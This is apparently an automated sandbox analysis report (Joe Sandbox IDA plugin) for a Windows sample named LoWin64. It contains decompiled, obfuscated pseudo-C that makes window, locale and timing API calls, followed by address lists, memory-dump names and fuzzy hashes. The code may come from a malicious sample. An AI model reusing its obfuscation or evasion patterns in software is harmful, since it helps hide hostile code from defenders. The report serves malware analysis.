				if ((_t214 & r14d) >= 0) goto 0xb1ca8157;
				r8d = r15d;
				r8b = 0x8aee5e300000068 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *0x93339E80000004D;
				r8d = _a144;
				E00007FF67FF6B1CB41F0(_t215, _t328, 0x126552d000000039,  *0x93339E8000000BD, 0x8000007f); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t317, 0x126552d000000039, 0, 0x8aee5e300000068, _t764), _t328,  *((intOrPtr*)(0x93339e8000000bd)));
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				asm("push es");
				asm("movsd xmm6, [0x11694a]");
				if (0x932e5e3ffffffe8 != 5) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(0x932e5e3ffffffe8);
				if (0x932e5e3ffffffe8 - 5 >= 0) goto 0xb1ca81e3;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x932e5e3ffffffe8 - 5 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(0x932e5e3ffffffe8);
				if (0x932e5e3ffffffe8 - 5 >= 0) goto 0xb1ca820e;
				if (0x932e5e3ffffffe8 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(0x932e5e3ffffffe8);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x932e5e3ffffffe8;
				 *0xb1decf60 = 0x2d;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t416 = r12d - 0x42;
				if (_t416 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(0x932e5e3ffffffe8);
				if (_t416 >= 0) goto 0xb1ca8274;
				if (0x932e5e3ffffffe8 - 0x2e > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(0x932e5e3ffffffe8);
				if (0x932e5e3ffffffe8 - 0x2e >= 0) goto 0xb1ca828f;
				_t319 = r15d & 0xffffff00 | 0x932e5e3ffffffe8 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t236 = E00007FF67FF6B1D3ACF4(0x932e5e3ffffffe8);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t319;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t319;
				 *0x6b =  *0x6b + _t236;
				_t661 = _a152 + 0x2d;
				_a152 = _t661;
				 *0xb1decf60 = _t661;
				_t419 = _t661 - 0x1f;
				if (_t419 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = 0x2d;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t661 =  *_t661 | _t661;
				if (_t419 >= 0) goto 0xb1ca8308;
				_t664 = (_t661 - 0x0000002d | 0xffffff80) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t419 != 0) goto 0xb1ca8318;
				if (_t419 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t664) & r14d) >= 0) goto 0xb1ca8333;
				_t667 = (_t664 - 0x0000002d | 0xffffff80) + 0x2d;
				if (_t667 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t667) & r14d) >= 0) goto 0xb1ca835e;
				_t670 = (_t667 - 0x0000002d | 0xffffff80) + 0x2d;
				if (_t670 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t670);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t673 = (_t670 - 0x0000002d | 0xffffff80) + 0x2d;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t673);
				if (_t673 - 0x34 >= 0) goto 0xb1ca8397;
				_t676 = (_t673 - 0x0000002d | 0xffffff80) + 0x2d;
				_t427 = _t676 - 0x1f;
				if (_t427 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t676);
				if (_t427 >= 0) goto 0xb1ca83ac;
				_t428 = (_t676 - 0x0000002d | 0xffffff80) + 0x2d - 4;
				if (_t428 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t676 - 0x0000002d | 0xffffff80) + 0x2d);
				if (_t428 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t430 = r13d - 0x54;
				if (_t430 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t430 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = 0x2d;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = 0x2d;
				IsIconic(??);
				asm("adc al, 0x0");
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(0x546a3f710000007d);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t279 = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = 0x7ff727c9ffffffd0 + _t757 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t279 & r14d;
			}

0x7ff6b1ca7896
0x7ff6b1ca7899
0x7ff6b1ca789f
0x7ff6b1ca78a2
0x7ff6b1ca78a8
0x7ff6b1ca78b2
0x7ff6b1ca78b7
0x7ff6b1ca78bd
0x7ff6b1ca78c0
0x7ff6b1ca78c5
0x7ff6b1ca78cb
0x7ff6b1ca78d5
0x7ff6b1ca78da
0x7ff6b1ca78e3
0x7ff6b1ca78ec
0x7ff6b1ca78fc
0x7ff6b1ca7902
0x7ff6b1ca7907
0x7ff6b1ca790d
0x7ff6b1ca7912
0x7ff6b1ca7914
0x7ff6b1ca7917
0x7ff6b1ca791d
0x7ff6b1ca7925
0x7ff6b1ca792a
0x7ff6b1ca792d
0x7ff6b1ca7930
0x7ff6b1ca7933
0x7ff6b1ca793e
0x7ff6b1ca7941
0x7ff6b1ca7942
0x7ff6b1ca7947
0x7ff6b1ca7956
0x7ff6b1ca7958
0x7ff6b1ca795b
0x7ff6b1ca7966
0x7ff6b1ca7969
0x7ff6b1ca796e
0x7ff6b1ca7974
0x7ff6b1ca7976
0x7ff6b1ca7981
0x7ff6b1ca798a
0x7ff6b1ca799d
0x7ff6b1ca79a3
0x7ff6b1ca79af
0x7ff6b1ca79ba
0x7ff6b1ca79bd
0x7ff6b1ca79be
0x7ff6b1ca79c3
0x7ff6b1ca79c8
0x7ff6b1ca79ce
0x7ff6b1ca79d3
0x7ff6b1ca79d8
0x7ff6b1ca79de
0x7ff6b1ca79e3
0x7ff6b1ca79e8
0x7ff6b1ca79ed
0x7ff6b1ca79f5
0x7ff6b1ca79f7
0x7ff6b1ca79fc
0x7ff6b1ca7a06
0x7ff6b1ca7a0e
0x7ff6b1ca7a11
0x7ff6b1ca7a13
0x7ff6b1ca7a19
0x7ff6b1ca7a27
0x7ff6b1ca7a28
0x7ff6b1ca7a2c
0x7ff6b1ca7a32
0x7ff6b1ca7a39
0x7ff6b1ca7a3f
0x7ff6b1ca7a41
0x7ff6b1ca7a44
0x7ff6b1ca7a46
0x7ff6b1ca7a4f
0x7ff6b1ca7a55
0x7ff6b1ca7a57
0x7ff6b1ca7a5a
0x7ff6b1ca7a65
0x7ff6b1ca7a67
0x7ff6b1ca7a6e
0x7ff6b1ca7a76
0x7ff6b1ca7a7c
0x7ff6b1ca7a84
0x7ff6b1ca7a8c
0x7ff6b1ca7a94
0x7ff6b1ca7a9c
0x7ff6b1ca7aa6
0x7ff6b1ca7ab5
0x7ff6b1ca7ab6
0x7ff6b1ca7ab7
0x7ff6b1ca7ab9
0x7ff6b1ca7ac0
0x7ff6b1ca7ac6
0x7ff6b1ca7acb
0x7ff6b1ca7ad0
0x7ff6b1ca7adb
0x7ff6b1ca7add
0x7ff6b1ca7adf
0x7ff6b1ca7ae4
0x7ff6b1ca7ae6
0x7ff6b1ca7ae9
0x7ff6b1ca7aeb
0x7ff6b1ca7af2
0x7ff6b1ca7afa
0x7ff6b1ca7afd
0x7ff6b1ca7aff
0x7ff6b1ca7b06
0x7ff6b1ca7b17
0x7ff6b1ca7b1d
0x7ff6b1ca7b1f
0x7ff6b1ca7b25
0x7ff6b1ca7b2d
0x7ff6b1ca7b36
0x7ff6b1ca7b38
0x7ff6b1ca7b4b
0x7ff6b1ca7b52
0x7ff6b1ca7b54
0x7ff6b1ca7b5a
0x7ff6b1ca7b61
0x7ff6b1ca7b69
0x7ff6b1ca7b71
0x7ff6b1ca7b75
0x7ff6b1ca7b79
0x7ff6b1ca7b7d
0x7ff6b1ca7b7f
0x7ff6b1ca7b86
0x7ff6b1ca7b91
0x7ff6b1ca7b93
0x7ff6b1ca7b9a
0x7ff6b1ca7bab
0x7ff6b1ca7bb1
0x7ff6b1ca7bb3
0x7ff6b1ca7bba
0x7ff6b1ca7bc4
0x7ff6b1ca7bc6
0x7ff6b1ca7bcc
0x7ff6b1ca7bd2
0x7ff6b1ca7bd9
0x7ff6b1ca7be1
0x7ff6b1ca7be9
0x7ff6b1ca7bed
0x7ff6b1ca7bf1
0x7ff6b1ca7bf5
0x7ff6b1ca7bfb
0x7ff6b1ca7c02
0x7ff6b1ca7c0d
0x7ff6b1ca7c13
0x7ff6b1ca7c1a
0x7ff6b1ca7c25
0x7ff6b1ca7c27
0x7ff6b1ca7c2e
0x7ff6b1ca7c39
0x7ff6b1ca7c3b
0x7ff6b1ca7c42
0x7ff6b1ca7c53
0x7ff6b1ca7c55
0x7ff6b1ca7c5c
0x7ff6b1ca7c67
0x7ff6b1ca7c69
0x7ff6b1ca7c70
0x7ff6b1ca7c78
0x7ff6b1ca7c7c
0x7ff6b1ca7c80
0x7ff6b1ca7c88
0x7ff6b1ca7c8a
0x7ff6b1ca7c90
0x7ff6b1ca7c97
0x7ff6b1ca7ca8
0x7ff6b1ca7cae
0x7ff6b1ca7cb5
0x7ff6b1ca7cb8
0x7ff6b1ca7cbc
0x7ff6b1ca7cc2
0x7ff6b1ca7cc7
0x7ff6b1ca7ccc
0x7ff6b1ca7cdd
0x7ff6b1ca7ce3
0x7ff6b1ca7ceb
0x7ff6b1ca7cf3
0x7ff6b1ca7cfa
0x7ff6b1ca7cfe
0x7ff6b1ca7d05
0x7ff6b1ca7d0b
0x7ff6b1ca7d0d
0x7ff6b1ca7d12
0x7ff6b1ca7d17
0x7ff6b1ca7d22
0x7ff6b1ca7d2c
0x7ff6b1ca7d37
0x7ff6b1ca7d41
0x7ff6b1ca7d52
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6a
0x7ff6b1ca7d72
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d90
0x7ff6b1ca7d98
0x7ff6b1ca7da3
0x7ff6b1ca7da7
0x7ff6b1ca7dad
0x7ff6b1ca7db5
0x7ff6b1ca7dbd
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7dda
0x7ff6b1ca7de2
0x7ff6b1ca7dea
0x7ff6b1ca7df5
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e1d
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e43
0x7ff6b1ca7e4b
0x7ff6b1ca7e5c
0x7ff6b1ca7e62
0x7ff6b1ca7e6a
0x7ff6b1ca7e72
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e84
0x7ff6b1ca7e8a
0x7ff6b1ca7e92
0x7ff6b1ca7ea3
0x7ff6b1ca7eb2
0x7ff6b1ca7eb9
0x7ff6b1ca7ebb
0x7ff6b1ca7ec3
0x7ff6b1ca7ece
0x7ff6b1ca7ed0
0x7ff6b1ca7ed8
0x7ff6b1ca7ee3
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7ef7
0x7ff6b1ca7eff
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f1b
0x7ff6b1ca7f23
0x7ff6b1ca7f2e
0x7ff6b1ca7f3c
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c6
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

Strings

7, xrefs: 00007FF6B1CA79C8

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: 6b6ff0425404616f9e64a65bc3811006224df99b5e56f1feaac9e1ae04dc1f3d
Instruction ID: e77c22769fdf1ec0e2dfcba2d310206b1c88a34acecbf673562ff500c8cf25b1
Opcode Fuzzy Hash: 6b6ff0425404616f9e64a65bc3811006224df99b5e56f1feaac9e1ae04dc1f3d
Instruction Fuzzy Hash: 7F028B67F3CA4666F7125F2CAD4A2B922A17F2070DF780739C719E119ACF3DB5868244

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7914 Relevance: 25.0, APIs: 13, Strings: 1, Instructions: 451
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00007FF67FF6B1CA7914(void* __ebx, signed int __esi, void* __ebp, void* __eflags, struct HWND__* __rdx, void* _a32, signed int _a144, signed long long _a152, void* _a160, void* _a168) {
				signed int _t78;
				void* _t81;
				signed int _t85;
				void* _t99;
				signed int _t204;
				void* _t226;
				signed int _t269;
				void* _t272;
				void* _t273;
				signed int _t306;
				signed int _t308;
				void* _t317;
				void* _t321;
				void* _t322;
				void* _t325;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t336;
				void* _t337;
				void* _t351;
				signed int _t361;
				signed int _t386;
				void* _t400;
				void* _t403;
				void* _t411;
				void* _t412;
				void* _t414;
				signed long long _t427;
				signed long long _t428;
				signed long long _t429;
				signed long long _t430;
				signed long long _t432;
				signed long long _t433;
				signed long long _t434;
				signed long long _t438;
				signed long long _t442;
				void* _t446;
				signed long long _t449;
				signed long long _t641;
				void* _t644;
				void* _t647;
				void* _t650;
				void* _t653;
				void* _t656;
				signed long long _t694;
				signed long long _t708;
				void* _t728;
				void* _t733;
				void* _t736;
				void* _t742;

				_t321 = __eflags;
				_t272 = __ebx + r13d;
				 *0xb1decf60 = _t694;
				_t78 = E00007FF67FF6B1D3ACF4(_t427);
				if (_t321 >= 0) goto 0xb1ca7930;
				_t428 = _t427 | 0xffffff80;
				_t81 = (_t78 & r12d) - r13d + r13d;
				_t322 = _t428 - 0x65;
				if (_t322 == 0) goto 0xb1ca790f;
				 *((intOrPtr*)(_t708 + 0x23)) =  *((intOrPtr*)(_t708 + 0x23)) + _t81;
				asm("les edi, [ebp+0x9]");
				if (_t322 >= 0) goto 0xb1ca794d;
				_t429 = _t428 | 0xffffff80;
				if (_t81 - r13d + r13d >= 0) goto 0xb1ca7978;
				_t273 = _t272 + r13d;
				 *0xb1decf60 = 0x3f;
				_t85 = E00007FF67FF6B1D3ACF4(_t429) & r12d;
				if (_t85 >= 0) goto 0xb1ca7974;
				_t430 = _t429 | 0xffffff80;
				_t325 = _t430 - 0x3;
				if (_t325 != 0) goto 0xb1ca7954;
				 *0xDE3B20EAFFFFFF83 =  *((intOrPtr*)(0xde3b20eaffffff83)) + dil;
				if (_t325 >= 0) goto 0xb1ca7994;
				 *0xb1decf60 = _t708;
				 *0xb1decf60 = 0x52;
				if (0x52 - 0x5b < 0) goto 0xb1ca797d;
				 *((intOrPtr*)(_t708 + 0x23)) =  *((intOrPtr*)(_t708 + 0x23)) + (_t85 - r13d + r13d & r12d) - r13d + r13d;
				asm("les edi, [ebp+0x8]");
				if (0x52 - 0x5b >= 0) goto 0xb1ca79c8;
				_t432 = _t430 | 0xde3b20eb00000003;
				r12d = 0x37;
				goto 0xb1ca79f2;
				if (_t273 + r13d - r12d >= 0) goto 0xb1ca79f7;
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(_t432);
				_t433 = _t432 & 0x8000007f;
				if (_t433 >= 0) goto 0xb1ca79f2;
				_t434 = _t433 | 0x00000003;
				if (_t434 == 0x1d) goto 0xb1ca79d0;
				E00007FF67FF6B1D3ACF4(_t434);
				 *0xb1decf60 = r13d;
				r13d = 0x4b;
				_t331 = __esi - r13d;
				if (_t331 < 0) goto 0xb1ca7a0c;
				 *0xb1decf60 = _t728 + 0x2d;
				E00007FF67FF6B1D3ACF4(_t434);
				_push(0x8000007f);
				if (_t331 >= 0) goto 0xb1ca7a46;
				 *0xb1decf60 = _t733 + 0x2d;
				E00007FF67FF6B1D3ACF4(_t434);
				if (_t331 >= 0) goto 0xb1ca7a41;
				_t438 = ((_t434 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d;
				_t332 = _t438 - 0x76;
				if (_t332 >= 0) goto 0xb1ca7a25;
				_t99 = E00007FF67FF6B1D3ACF4(_t438);
				if (_t332 >= 0) goto 0xb1ca7a57;
				_t442 = ((_t438 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d;
				_t333 = _t442 - 0x23;
				if (_t333 < 0) goto 0xb1ca7a7c;
				_pop(_t736);
				asm("str word [ecx+0x1454f11d]");
				 *0x1a =  *0x1a + _t99;
				 *0xb1decf60 = 0x2d;
				AnyPopup();
				IsZoomed(??);
				GetModuleHandleW(??);
				IsZoomed(??);
				 *0xb1decf60 = 0x24;
				GetModuleHandleW(??);
				asm("cmpsd");
				_push(0x2d);
				asm("adc al, 0x0");
				E00007FF67FF6B1D3ACF4(_t442);
				if (_t333 >= 0) goto 0xb1ca7ac8;
				_t446 = ((_t442 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d;
				if (_t446 - 0x33 > 0) goto 0xb1ca7ad2;
				if (0x20 - 0x26 < 0) goto 0xb1ca7ab1;
				 *0xc =  *0xc + spl;
				asm("invalid");
				asm("push es");
				_t449 = (_t446 - 0x0000002d | 0x00000003) + 0x2d;
				_t336 = _t449 - 0x69;
				if (_t336 >= 0) goto 0xb1ca7b2b;
				E00007FF67FF6B1D3ACF4(_t449);
				if (_t336 >= 0) goto 0xb1ca7afa;
				_t337 = ((_t449 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d - 0x44;
				if (_t337 == 0) goto 0xb1ca7b1f;
				E00007FF67FF6B1D3ACF4(((_t449 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d);
				if (_t337 >= 0) goto 0xb1ca7b0e;
				 *0xb1decf60 = 0;
				goto 0xb1ca7b25;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0xc;
				if (0xc - 0x11 < 0) goto 0xb1ca7ad7;
				 *0xb1decf60 = 0x48;
				asm("adc al, 0x0");
				if (0x14 - 0x1d < 0) goto 0xb1ca7b47;
				AnyPopup();
				E00007FF67FF6B1D3ACF4(0x5d463f7100000041);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b69;
				asm("movsd xmm0, [0x116b57]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("comisd xmm0, xmm1");
				if (0x14 - 0x1d < 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
